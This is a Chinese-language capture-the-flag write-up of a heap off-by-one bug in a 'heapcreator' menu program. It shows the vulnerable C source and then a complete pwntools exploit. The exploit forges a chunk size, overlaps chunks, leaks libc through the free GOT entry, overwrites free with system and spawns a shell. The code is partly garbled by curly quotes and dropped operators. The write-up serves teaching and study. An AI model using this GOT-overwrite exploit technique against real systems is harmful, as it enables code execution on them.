首先查看下代码
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void read_input(char *buf,size_t size){ //从屏幕中读取size个数到buf中
int ret ;
ret = read(0,buf,size);
if(ret <=0){
puts("Error");
_exit(-1);
}
}
struct heap {
size_t size ;
char *content ;
};
struct heap *heaparray[10];
void menu(){ // 就是一个介绍,不用看
puts("--------------------------------");
puts(" Heap Creator ");
puts("--------------------------------");
puts(" 1. Create a Heap ");
puts(" 2. Edit a Heap ");
puts(" 3. Show a Heap ");
puts(" 4. Delete a Heap ");
puts(" 5. Exit ");
puts("--------------------------------");
printf("Your choice :");
}
void create_heap(){
int i ;
char buf[8];
size_t size = 0;
for(i = 0 ; i < 10 ; i++){
if(!heaparray[i]){ //遍历查找没有使用的进行malloc
heaparray[i] = (struct heap *)malloc(sizeof(struct heap));
if(!heaparray[i]){
puts("Allocate Error");
exit(1);
}
printf("Size of Heap : ");
read(0,buf,8);
size = atoi(buf); //根据输入申请长度
heaparray[i]->content = (char *)malloc(size);
if(!heaparray[i]->content){
puts("Allocate Error");
exit(2);
}
heaparray[i]->size = size ;
printf("Content of heap:"); //将长度放到content中
read_input(heaparray[i]->content,size);
puts("SuccessFul");
break ;
}
}
}
void edit_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){
printf("Content of heap : ");
read_input(heaparray[idx]->content,heaparray[idx]->size+1); //为什么这里有一个size+1?? 明显的off by one
puts("Done !");
}else{
puts("No such heap !");
}
}
void show_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){ // 根据输入的index,进行遍历
printf("Size : %ld\nContent : %s\n",heaparray[idx]->size,heaparray[idx]->content);
puts("Done !");
}else{
puts("No such heap !");
}
}
void delete_heap(){
int idx ;
char buf[4];
printf("Index :");
read(0,buf,4);
idx = atoi(buf);
if(idx < 0 || idx >= 10){
puts("Out of bound!");
_exit(0);
}
if(heaparray[idx]){ // 根据输入的index进行free,并置零
free(heaparray[idx]->content);
free(heaparray[idx]);
heaparray[idx] = NULL ;
puts("Done !");
}else{
puts("No such heap !");
}
}
int main(){
char buf[4];
setvbuf(stdout,0,2,0);
setvbuf(stdin,0,2,0);
while(1){
menu();
read(0,buf,4);
switch(atoi(buf)){ //循环中进行选择
case 1 :
create_heap();
break ;
case 2 :
edit_heap();
break ;
case 3 :
show_heap();
break ;
case 4 :
delete_heap();
break ;
case 5 :
exit(0);
break ;
default :
puts("Invalid Choice");
break;
}
}
return 0 ;
}
这里有一个heap的 off by one ,我们可以进行如下利用
- 利用 off by one 漏洞覆盖下一个 chunk 的 size 字段,从而构造伪造的 chunk 大小。
- 申请伪造的 chunk 大小,从而产生 chunk overlap,进而修改关键指针。
最终的exp如下
``` #coding=utf-8 from pwn import * sh=process(‘./heapcreator’) elf=ELF(‘./heapcreator’) libc=ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)
def create(size,value): sh.recvuntil(‘Your choice :’) sh.sendline(‘1’) sh.recvuntil(‘Size of Heap :’) sh.sendline(str(size)) sh.recvuntil(‘Content of heap:’) sh.sendline(value)
def edit(idx,value): sh.recvuntil(‘Your choice :’) sh.sendline(‘2’) sh.recvuntil(‘Index :’) sh.sendline(str(idx)) sh.recvuntil(‘Content of heap : ‘) sh.sendline(value)
def show(idx): sh.recvuntil(‘Your choice :’) sh.sendline(‘3’) sh.recvuntil(‘Index :’) sh.sendline(str(idx))
def delete(idx): sh.recvuntil(‘Your choice :’) sh.sendline(‘4’) sh.recvuntil(‘Index :’) sh.sendline(str(idx))
free_got=elf.got[‘free’] create(0x18,’aaaaaaa’) #idx0 实际分配了0x10的chunk,重用idx1的prev_size的8个字节 create(0x10,’aaaaaaa’) #idx1 create(0x10,’aaaaaaa’) #idx2 create(0x10,’/bin/sh\x00’) #idx3 payload=’a’0x18+’\x81’ edit(0,payload) #修改idx1的size为0x81 delete(1) #idx1进入0x70的unsorted bin size=’\x08’.ljust(8,’\x00’) payload=’b’0x40+size+p64(free_got) create(0x70,payload) #分配到idx1 此时size为0x70,可以堆溢出到idx2,修改idx2的内容指针为free_got show(2) #输出free真实地址,泄露libc基地址 sh.recvuntil(‘Content :’) free_adr=u64(sh.recvline()[:-1].strip().ljust(8,’\x00’)) #free_adr=u64(sh.recvuntil(‘\nDone’)[:-5].ljust(8,’\x00’)) print ‘free_adr: ‘+hex(free_adr) libc_base=free_adr-libc.symbols[‘free’] system_adr=libc_base+libc.symbols[‘system’] print ‘libc_base: ‘+hex(libc_base) print ‘system_adr: ‘+hex(system_adr) edit(2,p64(system_adr)) #将free_got改为system地址 delete(3)#free(idx->content)触发 sh.interactive() ``